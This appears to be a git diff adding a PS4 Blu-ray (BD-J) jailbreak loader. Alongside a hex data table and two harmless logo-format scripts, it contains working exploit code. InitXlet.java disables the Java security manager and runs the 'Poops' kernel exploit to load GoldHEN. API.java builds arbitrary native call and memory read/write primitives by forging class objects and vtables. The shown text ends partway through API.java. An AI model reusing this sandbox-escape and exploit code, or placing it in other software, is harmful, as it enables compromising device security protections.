00000000 + + + 20810000 000000FC 00000000 + + + 20810000 00000084 00000000 + + + 50400001 00000FEC 00000001 + + + 50000001 00000003 00000FEC + + + 50400001 00000FEC 00000001 + + + 50000009 00000FEC 00000BA5 + + + 5040000F 00000FEC 00000000 + + + 50400001 00000FED 00000001 + + + 50000009 00000FED 00000BBB + + + 5040000F 00000FED 00000000 + + + 48000200 00000FEC 00000FED + + + 20810000 0000008F 00000000 + + + 20810000 0000009A 00000000 + + + 50400001 00000FEC 00000002 + + + 50000009 00000FEC 00000BBB + + + 5040000F 00000FEC 00000001 + + + 48400500 00000FEC 00000000 + + + 20810000 00000095 00000000 + + + 20810000 00000097 00000000 + + + 5040000C 00000BA5 00000000 + + + 20810000 00000098 00000000 + + + 5040000D 00000BA5 00000000 + + + 20810000 0000009E 00000000 + + + 20810000 0000009A 00000000 + + + 50400001 00000FEC 00000001 + + + 22000000 00000FEC 00000000 + + + 50400001 00000FEC 00000001 + + + 50000001 00000004 00000FEC + + + 00000000 00000000 00000000 + + + 50400001 00000FEC 00000001 + + + 50000001 00000005 00000FEC + + + 20810000 0000011A 00000000 + + + 50400001 00000FEC 00000001 + + + 50000001 00000006 00000FEC + + + 50400001 00000FEC 00000001 + + + 50000009 00000FEC 00000BA5 + + + 5040000F 00000FEC 00000000 + + + 50400001 00000FED 00000001 + + + 50000009 00000FED 00000BBB + + + 5040000F 00000FED 00000000 + + + 48000200 00000FEC 00000FED + + + 20810000 000000AD 00000000 + + + 20810000 000000B8 00000000 + + + 50400001 00000FEC 00000002 + + + 50000009 00000FEC 00000BBB + + + 5040000F 00000FEC 00000001 + + + 48400500 00000FEC 00000000 + + + 20810000 000000B3 00000000 + + + 20810000 000000B5 00000000 + + + 5040000C 00000BA5 00000000 + + + 20810000 000000B6 00000000 + + + 5040000D 00000BA5 00000000 + + + 20810000 000000BC 00000000 + + + 20810000 000000B8 00000000 + + + 50400001 00000FEC 00000002 + + + 22000000 00000FEC 00000000 + + + 50400001 00000FEC 00000001 + + + 50000001 00000007 00000FEC + + + 00000000 00000000 00000000 + + + 50400001 00000FEC 00000001 + + + 50000001 00000008 00000FEC + + + 20810000 0000011A 00000000 + + + 50400001 00000FEC 00000001 + + + 50000001 00000009 00000FEC + + + 50400001 00000FEC 00000001 + + + 50000009 00000FEC 00000BA5 + + + 5040000F 00000FEC 00000000 + + + 50400001 00000FED 00000001 + + + 50000009 00000FED 00000BBB + + + 5040000F 00000FED 00000000 + + + 48000200 00000FEC 00000FED + + + 20810000 000000CB 00000000 + + + 20810000 000000D6 00000000 + + + 50400001 00000FEC 00000002 + + + 50000009 00000FEC 00000BBB + + + 5040000F 00000FEC 00000001 + + + 48400500 00000FEC 00000000 + + + 20810000 000000D1 00000000 + + + 20810000 000000D3 00000000 + + + 5040000C 00000BA5 00000000 + + + 20810000 000000D4 00000000 + + + 5040000D 00000BA5 00000000 + + + 20810000 000000DA 00000000 + + + 20810000 000000D6 00000000 + + + 50400001 00000FEC 00000003 + + + 22000000 00000FEC 00000000 + + + 50400001 00000FEC 00000001 + + + 50000001 0000000A 00000FEC + + + 00000000 00000000 00000000 + + + 50400001 00000FEC 00000001 + + + 50000001 0000000B 00000FEC + + + 20810000 0000011A 00000000 + + + 50400001 00000FEC 00000001 + + + 50000001 0000000C 00000FEC + + + 50400001 00000FEC 00000001 + + + 50000009 00000FEC 00000BA5 + + + 5040000F 00000FEC 00000000 + + + 50400001 00000FED 00000001 + + + 50000009 00000FED 00000BBB + + + 5040000F 00000FED 00000000 + + + 48000200 00000FEC 00000FED + + + 20810000 000000E9 00000000 + + + 20810000 000000F4 00000000 + + + 50400001 00000FEC 00000002 + + + 50000009 00000FEC 00000BBB + + + 5040000F 00000FEC 00000001 + + + 48400500 00000FEC 00000000 + + + 20810000 000000EF 00000000 + + + 20810000 000000F1 00000000 + + + 5040000C 00000BA5 00000000 + + + 20810000 000000F2 00000000 + + + 5040000D 00000BA5 00000000 + + + 20810000 000000F8 00000000 + + + 20810000 000000F4 00000000 + + + 50400001 00000FEC 00000004 + + + 22000000 00000FEC 00000000 + + + 50400001 00000FEC 00000001 + + + 50000001 0000000D 00000FEC + + + 00000000 00000000 00000000 + + + 50400001 00000FEC 00000001 + + + 50000001 0000000E 00000FEC + + + 20810000 0000011A 00000000 + + + 50400001 00000FEC 00000001 + + + 50000001 0000000F 00000FEC + + + 50400001 00000FEC 00000001 + + + 50000009 00000FEC 00000BA5 + + + 5040000F 00000FEC 00000000 + + + 50400001 00000FED 00000001 + + + 50000009 00000FED 00000BBB + + + 5040000F 00000FED 00000000 + + + 48000200 00000FEC 00000FED + + + 20810000 00000107 00000000 + + + 20810000 00000112 00000000 + + + 50400001 00000FEC 00000002 + + + 50000009 00000FEC 00000BBB + + + 5040000F 00000FEC 00000001 + + + 48400500 00000FEC 00000000 + + + 20810000 0000010D 00000000 + + + 20810000 0000010F 00000000 + + + 5040000C 00000BA5 00000000 + + + 20810000 00000110 00000000 + + + 5040000D 00000BA5 00000000 + + + 20810000 00000116 00000000 + + + 20810000 00000112 00000000 + + + 50400001 00000FEC 00000005 + + + 22000000 00000FEC 00000000 + + + 50400001 00000FEC 00000001 + + + 50000001 00000010 00000FEC + + + 00000000 00000000 00000000 + + + 50400001 00000FEC 00000001 + + + 50000001 00000011 00000FEC + + + 20810000 0000011A 00000000 + + + 00000000 00000000 00000000 + + + false + true + false + + + + + 0 + 0 + diff --git a/fix_logo.sh b/fix_logo.sh new file mode 100755 index 0000000..7c143c1 --- /dev/null +++ b/fix_logo.sh @@ -0,0 +1,34 @@ +#!/bin/bash +# Script to fix logo format for PS4 Blu-ray +# Requirements: 640x360 (16:9 aspect ratio), JPEG baseline, no progressive + +if [ ! -f "bd-metadata/logo.jpg" ]; then + echo "Error: logo.jpg not found in bd-metadata/" + exit 1 +fi + +echo "Current logo info:" +file bd-metadata/logo.jpg +echo "" + +# Check if ImageMagick is available +if command -v convert &> /dev/null; then + echo "Converting logo to proper format..." + convert bd-metadata/logo.jpg \ + -resize 640x360! \ + -quality 85 \ + -strip \ + -interlace none \ + -colorspace sRGB \ + bd-metadata/logo_fixed.jpg + + mv bd-metadata/logo_fixed.jpg bd-metadata/logo.jpg + echo "Logo fixed! New info:" + file bd-metadata/logo.jpg +else + echo "ImageMagick not found. Please install it or manually ensure:" + echo " - Size: 640x360 pixels (16:9)" + echo " - Format: JPEG baseline (not progressive)" + echo " - Color space: sRGB" + echo " - Quality: 85-90" +fi diff --git a/fix_logo_metadata.sh b/fix_logo_metadata.sh new file mode 100755 index 0000000..1342e89 --- /dev/null +++ b/fix_logo_metadata.sh @@ -0,0 +1,74 @@ +#!/bin/bash +# Script to fix logo to match old format with EXIF metadata + +OLD_LOGO="/coding/logo_old.jpg" +NEW_LOGO="bd-metadata/logo.jpg" +TEMP_LOGO="bd-metadata/logo_temp.jpg" + +if [ ! -f "$OLD_LOGO" ]; then + echo "Error: $OLD_LOGO not found" + exit 1 +fi + +if [ ! -f "$NEW_LOGO" ]; then + echo "Error: $NEW_LOGO not found" + exit 1 +fi + +echo "=== Fixing logo metadata ===" +echo "Old logo: $(file $OLD_LOGO)" +echo "New logo: $(file $NEW_LOGO)" +echo "" + +# Check if ImageMagick is available +if command -v convert &> /dev/null; then + echo "Using ImageMagick to fix logo..." + + # Extract EXIF from old logo and apply to new logo + # Resize new logo to exact 640x360, add EXIF metadata similar to old + convert "$NEW_LOGO" \ + -resize 640x360! \ + -quality 90 \ + -strip \ + -interlace none \ + -colorspace sRGB \ + -set density 86x94 \ + -set units PixelsPerInch \ + -orient top-left \ + "$TEMP_LOGO" + + # Copy EXIF orientation from old logo if possible + if command -v exiftool &> /dev/null; then + echo "Using exiftool to copy EXIF data..." + exiftool -overwrite_original -tagsFromFile "$OLD_LOGO" -Orientation "$TEMP_LOGO" 2>/dev/null || true + fi + + mv "$TEMP_LOGO" "$NEW_LOGO" + echo "" + echo "Logo fixed! New info:" + file "$NEW_LOGO" + ls -lh "$NEW_LOGO" + +elif command -v exiftool &> /dev/null; then + echo "Using exiftool to fix metadata..." + # Copy EXIF data from old to new + exiftool -overwrite_original \ + -tagsFromFile "$OLD_LOGO" \ + -Orientation \ + -XResolution=86 \ + -YResolution=94 \ + -ResolutionUnit=2 \ + "$NEW_LOGO" + + echo "Logo fixed! New info:" + file "$NEW_LOGO" + +else + echo "Error: Need ImageMagick or exiftool installed" + echo "" + echo "Install with:" + echo " sudo apt install imagemagick" + echo " # OR" + echo " sudo apt install libimage-exiftool-perl" + exit 1 +fi diff --git a/src/org/bdj/InitXlet.java b/src/org/bdj/InitXlet.java new file mode 100644 index 0000000..b13b0eb --- /dev/null +++ b/src/org/bdj/InitXlet.java @@ -0,0 +1,172 @@ +package org.bdj; + +import java.io.*; +import java.util.*; +import javax.tv.xlet.*; +import java.awt.BorderLayout; +import org.havi.ui.HScene; +import org.havi.ui.HSceneFactory; +import org.dvb.event.UserEvent; +import org.dvb.event.EventManager; +import org.dvb.event.UserEventListener; +import org.dvb.event.UserEventRepository; +import org.bluray.ui.event.HRcEvent; +import org.bdj.sandbox.DisableSecurityManagerAction; +import org.bdj.external.*; + +public class InitXlet implements Xlet, UserEventListener +{ + public static final int BUTTON_X = 10; + public static final int BUTTON_O = 19; + public static final int BUTTON_U = 38; + public static final int BUTTON_D = 40; + private static InitXlet instance; + public static class EventQueue + { + private LinkedList l; + int cnt = 0; + EventQueue() + { + l = new LinkedList(); + } + public synchronized void put(Object obj) + { + l.addLast(obj); + cnt++; + } + public synchronized Object get() + { + if(cnt == 0) + return null; + Object o = l.getFirst(); + l.removeFirst(); + cnt--; + return o; + } + } + private EventQueue eq; + private HScene scene; + private Screen gui; + private XletContext context; + private static PrintStream console; + private static final ArrayList messages = new ArrayList(); + public void initXlet(XletContext context) + { + // Privilege escalation + try { + DisableSecurityManagerAction.execute(); + } catch (Exception e) {} + + instance = this; + this.context = context; + this.eq = new EventQueue(); + scene = HSceneFactory.getInstance().getDefaultHScene(); + try + { + gui = new Screen(messages); + gui.setSize(1920, 1080); // BD screen size + gui.setVisible(true); + scene.add(gui, BorderLayout.CENTER); + scene.repaint(); + UserEventRepository repo = new UserEventRepository("input"); + repo.addKey(BUTTON_U); + repo.addKey(BUTTON_D); + EventManager.getInstance().addUserEventListener(this, repo); + (new Thread() + { + public void run() + { + try + { + scene.repaint(); + console = new PrintStream(new MessagesOutputStream(messages, scene)); + //InputStream is = getClass().getResourceAsStream("/program.data.bin"); + //CRunTime.init(is); + + console.println("Hen Loader LP v1.0, based on:"); + console.println("- GoldHEN 2.4b18.7 by SiSTR0"); + console.println("- poops code by theflow0"); + console.println("- BDJ build environment by kimariin"); + console.println("- java console by sleirsgoevy"); + console.println(""); + System.gc(); // this workaround somehow makes Call API working + if (System.getSecurityManager() != null) { + console.println("Priviledge escalation failure, unsupported firmware?"); + } else { + Kernel.initializeKernelOffsets(); + String fw = Helper.getCurrentFirmwareVersion(); + console.println("Firmware: " + fw); + if (!KernelOffset.hasPS4Offsets()) + { + console.println("Unsupported Firmware"); + } else { + console.println("\nExecuting Poops exploit..."); + int result = org.bdj.external.Poops.main(console); + if (result == 0) + { + console.println("Success"); + } else { + console.println("Fatal fail(" + result + "), please REBOOT PS4"); + } + } + } + } + catch(Throwable e) + { + scene.repaint(); + } + } + }).start(); + } + catch(Throwable e) + { + printStackTrace(e); + } + scene.validate(); + } + public void startXlet() + { + gui.setVisible(true); + scene.setVisible(true); + gui.requestFocus(); + } + public void pauseXlet() + { + gui.setVisible(false); + } + public void destroyXlet(boolean unconditional) + { + scene.remove(gui); + scene = null; + } + private void printStackTrace(Throwable e) + { + StringWriter sw = new StringWriter(); + PrintWriter pw = new PrintWriter(sw); + e.printStackTrace(pw); + if (console != null) + console.print(sw.toString()); + } + public void userEventReceived(UserEvent evt) + { + if(evt.getType() == HRcEvent.KEY_PRESSED) + { + if(evt.getCode() == BUTTON_U) + gui.top += 270; + else if(evt.getCode() == BUTTON_D) + gui.top -= 270; + scene.repaint(); + } + } + public static void repaint() + { + instance.scene.repaint(); + } + public static int pollInput() + { + Object ans = instance.eq.get(); + if(ans == null) + return 0; + return ((Integer)ans).intValue(); + } +} diff --git a/src/org/bdj/MessagesOutputStream.java b/src/org/bdj/MessagesOutputStream.java new file mode 100644 index 0000000..3895e3d --- /dev/null +++ b/src/org/bdj/MessagesOutputStream.java @@ -0,0 +1,33 @@ +package org.bdj; + +import java.io.OutputStream; +import java.util.ArrayList; +import org.havi.ui.HScene; + +public class MessagesOutputStream extends OutputStream +{ + ArrayList messages; + HScene scene; + String cur; + public MessagesOutputStream(ArrayList msgs, HScene sc) + { + messages = msgs; + scene = sc; + cur = ""; + messages.add(cur); + } + public synchronized void write(int c) + { + if(c == 10) + { + scene.repaint(); + cur = ""; + messages.add(cur); + } + else if(c != 179) + { + cur += (char)c; + messages.set(messages.size()-1, cur); + } + } +} diff --git a/src/org/bdj/Screen.java b/src/org/bdj/Screen.java new file mode 100644 index 0000000..fb9a7d1 --- /dev/null +++ b/src/org/bdj/Screen.java @@ -0,0 +1,34 @@ +package org.bdj; + +import java.awt.Color; +import java.awt.Container; +import java.awt.Font; +import java.awt.Graphics; +import java.util.ArrayList; + +public class Screen extends Container +{ + private static final long serialVersionUID = 4761178503523947426L; + private ArrayList messages; + private Font font; + public int top = 40; + public Screen(ArrayList messages) + { + this.messages = messages; + font = new Font(null, Font.PLAIN, 36); + setBackground(new Color(100, 110, 160)); + } + public void paint(Graphics g) + { + g.setColor(new Color(100, 110, 160)); + g.fillRect(0, 0, getWidth(), getHeight()); + g.setFont(font); + g.setColor(new Color(255, 255, 255)); + for(int i = 0; i < messages.size(); i++) + { + String message = (String)messages.get(i); + int message_width = g.getFontMetrics().stringWidth(message); + g.drawString(message, 0, top + (i*40)); + } + } +} diff --git a/src/org/bdj/api/API.java b/src/org/bdj/api/API.java new file mode 100644 index 0000000..ac7b44c --- /dev/null +++ b/src/org/bdj/api/API.java @@ -0,0 +1,689 @@ +/* + * Copyright (C) 2021-2024 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package org.bdj.api; + +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; + +/** API class to access native data and execute native code. */ +public final class API { + public static final int RTLD_DEFAULT = -2; + + public static final int LIBC_MODULE_HANDLE = 0x2; + public static final int LIBKERNEL_MODULE_HANDLE = 0x2001; + public static final int LIBJAVA_MODULE_HANDLE = 0x4A; + + private static final String UNSUPPORTED_DLOPEN_OPERATION_STRING = + "Unsupported dlopen() operation"; + + private static final String JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL = + "Java_java_lang_reflect_Array_multiNewArray"; + private static final String JVM_NATIVE_PATH_SYMBOL = "JVM_NativePath"; + private static final String SIGSETJMP_SYMBOL = "sigsetjmp"; + private static final String UX86_64_SETCONTEXT_SYMBOL = "__Ux86_64_setcontext"; + private static final String ERROR_SYMBOL = "__error"; + + private static final String MULTI_NEW_ARRAY_METHOD_NAME = "multiNewArray"; + private static final String MULTI_NEW_ARRAY_METHOD_SIGNATURE = "(J[I)J"; + + private static final String NATIVE_LIBRARY_CLASS_NAME = "java.lang.ClassLoader$NativeLibrary"; + private static final String FIND_METHOD_NAME = "find"; + private static final String FIND_ENTRY_METHOD_NAME = "findEntry"; + private static final String HANDLE_FIELD_NAME = "handle"; + + private static final String VALUE_FIELD_NAME = "value"; + + private static final int[] MULTI_NEW_ARRAY_DIMENSIONS = new int[] {1}; + + private static final int ARRAY_BASE_OFFSET = 0x18; + + private static final ThreadLocal callContexts = new ThreadLocal(); + + private static API instance; + + private UnsafeInterface unsafe; + + private Object nativeLibrary; + private Method findMethod; + private Field handleField; + + private long executableHandle; + + private long Java_java_lang_reflect_Array_multiNewArray; + private long JVM_NativePath; + private long sigsetjmp; + private long __Ux86_64_setcontext; + private long __error; + + private boolean jdk11; + + private API() throws Exception { + this.init(); + } + + public static synchronized API getInstance() throws Exception { + if (instance == null) { + instance = new API(); + } + return instance; + } + + private native long multiNewArray(long componentType, int[] dimensions); + + public boolean isJdk11() { + return jdk11; + } + + private void init() throws Exception { + initUnsafe(); + initDlsym(); + initSymbols(); + initApiCall(); + } + + private void initUnsafe() throws Exception { + unsafe = new UnsafeSunImpl(); + jdk11 = false; + } + + private void initDlsym() throws Exception { + Class nativeLibraryClass = Class.forName(NATIVE_LIBRARY_CLASS_NAME); + + if (jdk11) { + findMethod = + nativeLibraryClass.getDeclaredMethod(FIND_ENTRY_METHOD_NAME, new Class[] {String.class}); + } else { + findMethod = + nativeLibraryClass.getDeclaredMethod(FIND_METHOD_NAME, new Class[] {String.class}); + } + + handleField = nativeLibraryClass.getDeclaredField(HANDLE_FIELD_NAME); + + findMethod.setAccessible(true); + handleField.setAccessible(true); + + Constructor nativeLibraryConstructor = + nativeLibraryClass.getDeclaredConstructor( + new Class[] {Class.class, String.class, boolean.class}); + nativeLibraryConstructor.setAccessible(true); + + nativeLibrary = + nativeLibraryConstructor.newInstance(new Object[] {getClass(), "api", new Boolean(true)}); + } + + private void initSymbols() { + JVM_NativePath = dlsym(RTLD_DEFAULT, JVM_NATIVE_PATH_SYMBOL); + if (JVM_NativePath == 0) { + throw new InternalError("JVM_NativePath not found"); + } + + __Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL); + if (__Ux86_64_setcontext == 0) { + // In earlier versions, there's a bug where only the main executable's handle is used. + executableHandle = JVM_NativePath & -4; + while (strcmp(executableHandle, UNSUPPORTED_DLOPEN_OPERATION_STRING) != 0) { + executableHandle += 4; + } + executableHandle -= 4; + + // Try again. + __Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL); + } + if (__Ux86_64_setcontext == 0) { + throw new InternalError("__Ux86_64_setcontext not found"); + } + + if (jdk11) { + Java_java_lang_reflect_Array_multiNewArray = + dlsym(LIBJAVA_MODULE_HANDLE, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL); + } else { + Java_java_lang_reflect_Array_multiNewArray = + dlsym(RTLD_DEFAULT, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL); + } + if (Java_java_lang_reflect_Array_multiNewArray == 0) { + throw new InternalError("Java_java_lang_reflect_Array_multiNewArray not found"); + } + + sigsetjmp = dlsym(LIBKERNEL_MODULE_HANDLE, SIGSETJMP_SYMBOL); + if (sigsetjmp == 0) { + throw new InternalError("sigsetjmp not found"); + } + + __error = dlsym(LIBKERNEL_MODULE_HANDLE, ERROR_SYMBOL); + if (__error == 0) { + throw new InternalError("__error not found"); + } + } + + private void initApiCall() { + long apiInstance = addrof(this); + long apiKlass = read64(apiInstance + 0x08); + + boolean installed = false; + if (jdk11) { + long methods = read64(apiKlass + 0x170); + int numMethods = read32(methods + 0x00); + + for (int i = 0; i < numMethods; i++) { + long method = read64(methods + 0x08 + i * 8); + long constMethod = read64(method + 0x08); + long constants = read64(constMethod + 0x08); + short nameIndex = read16(constMethod + 0x2A); + short signatureIndex = read16(constMethod + 0x2C); + long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & -2; + long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & -2; + short nameLength = read16(nameSymbol + 0x00); + short signatureLength = read16(signatureSymbol + 0x00); + + String name = readString(nameSymbol + 0x06, nameLength); + String signature = readString(signatureSymbol + 0x06, signatureLength); + if (name.equals(MULTI_NEW_ARRAY_METHOD_NAME) + && signature.equals(MULTI_NEW_ARRAY_METHOD_SIGNATURE)) { + write64(method + 0x50, Java_java_lang_reflect_Array_multiNewArray); + installed = true; + break; + } + } + } else { + long methods = read64(apiKlass + 0xC8); + int numMethods = read32(methods + 0x10); + + for (int i = 0; i < numMethods; i++) { + long method = read64(methods + 0x18 + i * 8); + long constMethod = read64(method + 0x10); + long constants = read64(method + 0x18); + short nameIndex = read16(constMethod + 0x42); + short signatureIndex = read16(constMethod + 0x44); + long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & -2; + long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & -2; + short nameLength = read16(nameSymbol + 0x08); + short signatureLength = read16(signatureSymbol + 0x08); + + String name = readString(nameSymbol + 0x0A, nameLength); + String signature = readString(signatureSymbol + 0x0A, signatureLength); + if (name.equals(MULTI_NEW_ARRAY_METHOD_NAME) + && signature.equals(MULTI_NEW_ARRAY_METHOD_SIGNATURE)) { + write64(method + 0x78, Java_java_lang_reflect_Array_multiNewArray); + installed = true; + break; + } + } + } + + if (!installed) { + throw new InternalError("installing native method failed"); + } + + // Invoke call method many times to kick in optimization. + train(); + } + + private void train() { + for (int i = 0; i < 10000; i++) { + call(0); + } + } + + private void buildContext( + long[] contextBuf, + long[] jmpBuf, + int offset, + long rip, + long rdi, + long rsi, + long rdx, + long rcx, + long r8, + long r9) { + long rbx = jmpBuf[(offset + 0x08) / 8]; + long rsp = jmpBuf[(offset + 0x10) / 8]; + long rbp = jmpBuf[(offset + 0x18) / 8]; + long r12 = jmpBuf[(offset + 0x20) / 8]; + long r13 = jmpBuf[(offset + 0x28) / 8]; + long r14 = jmpBuf[(offset + 0x30) / 8]; + long r15 = jmpBuf[(offset + 0x38) / 8]; + + contextBuf[(offset + 0x48) / 8] = rdi; + contextBuf[(offset + 0x50) / 8] = rsi; + contextBuf[(offset + 0x58) / 8] = rdx; + contextBuf[(offset + 0x60) / 8] = rcx; + contextBuf[(offset + 0x68) / 8] = r8; + contextBuf[(offset + 0x70) / 8] = r9; + contextBuf[(offset + 0x80) / 8] = rbx; + contextBuf[(offset + 0x88) / 8] = rbp; + contextBuf[(offset + 0xA0) / 8] = r12; + contextBuf[(offset + 0xA8) / 8] = r13; + contextBuf[(offset + 0xB0) / 8] = r14; + contextBuf[(offset + 0xB8) / 8] = r15; + contextBuf[(offset + 0xE0) / 8] = rip; + contextBuf[(offset + 0xF8) / 8] = rsp; + } + + public long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4, long arg5) { + long ret = 0; + + // When func is 0, only do one iteration to avoid calling __Ux86_64_setcontext. + // This is used to "train" this function to kick in optimization early. Otherwise, it is + // possible that optimization kicks in between the calls to sigsetjmp and __Ux86_64_setcontext + // leading to different stack layouts of the two calls. + int iter = func == 0 ? 1 : 2; + + CallContext callContext = getCallContext(); + + if (jdk11) { + callContext.fakeKlass[0xC0 / 8] = 0; // dimension + + for (int i = 0; i < iter; i++) { + callContext.fakeKlass[0x00 / 8] = callContext.fakeKlassVtableAddr; + callContext.fakeKlass[0x00 / 8] = callContext.fakeKlassVtableAddr; + if (i == 0) { + callContext.fakeKlassVtable[0x158 / 8] = sigsetjmp + 0x23; // multi_allocate + } else { + callContext.fakeKlassVtable[0x158 / 8] = __Ux86_64_setcontext + 0x39; // multi_allocate + } + + ret = multiNewArray(callContext.fakeClassOopAddr, MULTI_NEW_ARRAY_DIMENSIONS); + + if (i == 0) { + buildContext( + callContext.fakeKlass, + callContext.fakeKlass, + 0x00, + func, + arg0, + arg1, + arg2, + arg3, + arg4, + arg5); + } + } + } else { + callContext.fakeKlass[0xB8 / 8] = 0; // dimension + + for (int i = 0; i < iter; i++) { + callContext.fakeKlass[0x10 / 8] = callContext.fakeKlassVtableAddr; + callContext.fakeKlass[0x20 / 8] = callContext.fakeKlassVtableAddr; + if (i == 0) { + callContext.fakeKlassVtable[0x230 / 8] = sigsetjmp + 0x23; // multi_allocate + } else { + callContext.fakeKlassVtable[0x230 / 8] = __Ux86_64_setcontext + 0x39; // multi_allocate + } + + ret = multiNewArray(callContext.fakeClassOopAddr, MULTI_NEW_ARRAY_DIMENSIONS); + + if (i == 0) { + buildContext( + callContext.fakeKlass, + callContext.fakeKlass, + 0x20, + func, + arg0, + arg1, + arg2, + arg3, + arg4, + arg5); + } + } + } + + if (ret == 0) { + return 0; + } + + return read64(ret); + } + + public long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4) { + return call(func, arg0, arg1, arg2, arg3, arg4, (long) 0); + } + + public long call(long func, long arg0, long arg1, long arg2, long arg3) { + return call(func, arg0, arg1, arg2, arg3, (long) 0, (long) 0); + } + + public long call(long func, long arg0, long arg1, long arg2) { + return call(func, arg0, arg1, arg2, (long) 0, (long) 0, (long) 0); + } + + public long call(long func, long arg0, long arg1) { + return call(func, arg0, arg1, (long) 0, (long) 0, (long) 0, (long) 0); + } + + public long call(long func, long arg0) { + return call(func, arg0, (long) 0, (long) 0, (long) 0, (long) 0, (long) 0); + } + + public long call(long func) { + return call(func, (long) 0, (long) 0, (long) 0, (long) 0, (long) 0, (long) 0); + } + + public int errno() { + return read32(call(__error)); + } + + public long dlsym(long handle, String symbol) { + int oldHandle = RTLD_DEFAULT; + try { + if (executableHandle != 0) { + // In earlier versions, there's a bug where only the main executable's handle is used. + oldHandle = read32(executableHandle); + write32(executableHandle, (int) handle); + handleField.setLong(nativeLibrary, RTLD_DEFAULT); + } else { + handleField.setLong(nativeLibrary, handle); + } + return ((Long) findMethod.invoke(nativeLibrary, new Object[] {symbol})).longValue(); + } catch (IllegalAccessException e) { + return 0; + } catch (InvocationTargetException e) { + return 0; + } finally { + if (executableHandle != 0) { + write32(executableHandle, oldHandle); + } + } + } + + public long addrof(Object obj) { + Object[] array = new Object[] {obj}; + return unsafe.getLong(array, ARRAY_BASE_OFFSET); + } + + public byte read8(long addr) { + return unsafe.getByte(addr); + } + + public short read16(long addr) { + return unsafe.getShort(addr); + } + + public int read32(long addr) { + return unsafe.getInt(addr); + } + + public long read64(long addr) { + return unsafe.getLong(addr); + } + + public void write8(long addr, byte val) { + unsafe.putByte(addr, val); + } + + public void write16(long addr, short val) { + unsafe.putShort(addr, val); + } + + public void write32(long addr, int val) { + unsafe.putInt(addr, val); + } + + public void write64(long addr, long val) { + unsafe.putLong(addr, val); + } + + public long malloc(long size) { + return unsafe.allocateMemory(size); + } + + public long calloc(long number, long size) { + long p = malloc(number * size); + if (p != 0) { + memset(p, 0, number * size); + } + return p; + } + + public long realloc(long ptr, long size) { + return unsafe.reallocateMemory(ptr, size); + } + + public void free(long ptr) { + unsafe.freeMemory(ptr); + } + + public long memcpy(long dest, long src, long n) { + unsafe.copyMemory(src, dest, n); + return dest; + } + + public long memcpy(long dest, byte[] src, long n) { + for (int i = 0; i < n; i++) { + write8(dest + i, src[i]); + } + return dest; + } + + public byte[] memcpy(byte[] dest, long src, long n) { + for (int i = 0; i < n; i++) { + dest[i] = read8(src + i); + } + return dest; + } + + public long memset(long s, int c, long n) { + unsafe.setMemory(s, n, (byte) c); + return s; + } + + public byte[] memset(byte[] s, int c, long n) { + for (int i = 0; i < n; i++) { + s[i] = (byte) c; + } + return s; + } + + public int memcmp(long s1, long s2, long n) { + for (int i = 0; i < n; i++) { + byte b1 = read8(s1 + i); + byte b2 = read8(s2 + i); + if (b1 != b2) { + return (int) b1 - (int) b2; + } + } + return 0; + } + + public int memcmp(long s1, byte[] s2, long n) { + for (int i = 0; i < n; i++) { + byte b1 = read8(s1 + i); + byte b2 = s2[i]; + if (b1 != b2) { + return (int) b1 - (int) b2; + } + } + return 0; + } + + public int memcmp(byte[] s1, long s2, long n) { + return memcmp(s2, s1, n); + } + + public int strcmp(long s1, long s2) { + for (int i = 0; ; i++) { + byte b1 = read8(s1 + i); + byte b2 = read8(s2 + i); + if (b1 != b2) { + return (int) b1 - (int) b2; + } + if (b1 == (byte) 0 && b2 == (byte) 0) { + return 0; + } + } + } + + public int strcmp(long s1, String s2) { + byte[] bytes = toCBytes(s2); + for (int i = 0; ; i++) { + byte b1 = read8(s1 + i); + byte b2 = bytes[i]; + if (b1 != b2) { + return (int) b1 - (int) b2; + } + if (b1 == (byte) 0 && b2 == (byte) 0) { + return 0; + } + } + } + + public int strcmp(String s1, long s2) { + return strcmp(s2, s1); + } + + public long strcpy(long dest, long src) { + for (int i = 0; ; i++) { + byte ch = read8(src + i); + write8(dest + i, ch); + if (ch == (byte) 0) { + break; + } + } + return dest; + } + + public long strcpy(long dest, String src) { + byte[] bytes = toCBytes(src); + for (int i = 0; ; i++) { + byte ch = bytes[i]; + write8(dest + i, ch); + if (ch == (byte) 0) { + break; + } + } + return dest; + } + + public String readString(long src, long n) { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + for (int i = 0; ; i++) { + byte ch = read8(src + i); + if (ch == (byte) 0 || i == n) { + break; + } + outputStream.write(new byte[] {ch}, 0, 1); + } + return outputStream.toString(); + } + + public String readString(long src) { + return readString(src, -1); + } + + public byte[] toCBytes(String str) { + byte[] bytes = new byte[str.length() + 1]; + System.arraycopy(str.getBytes(), 0, bytes, 0, str.length()); + return bytes; + } + + private CallContext getCallContext() { + CallContext callContext = (CallContext) callContexts.get(); + if (callContext != null) { + return callContext; + } + + callContext = new CallContext(); + callContexts.set(callContext); + return callContext; + } + + class CallContext { + final long[] fakeClassOop; + final long[] fakeClass; + final long[] fakeKlass; + final long[] fakeKlassVtable; + + final long fakeClassOopAddr; + final long fakeClassAddr; + final long fakeKlassAddr; + final long fakeKlassVtableAddr; + + private final long callContextBuffer; + + CallContext() { + callContextBuffer = + malloc( + ARRAY_BASE_OFFSET + + Int64.SIZE + + ARRAY_BASE_OFFSET + + 0x100 + + ARRAY_BASE_OFFSET + + 0x200 + + ARRAY_BASE_OFFSET + + 0x400); + if (callContextBuffer == 0) { + throw new OutOfMemoryError("malloc failed"); + } + + // Get array addresses. + fakeClassOopAddr = callContextBuffer + ARRAY_BASE_OFFSET; + 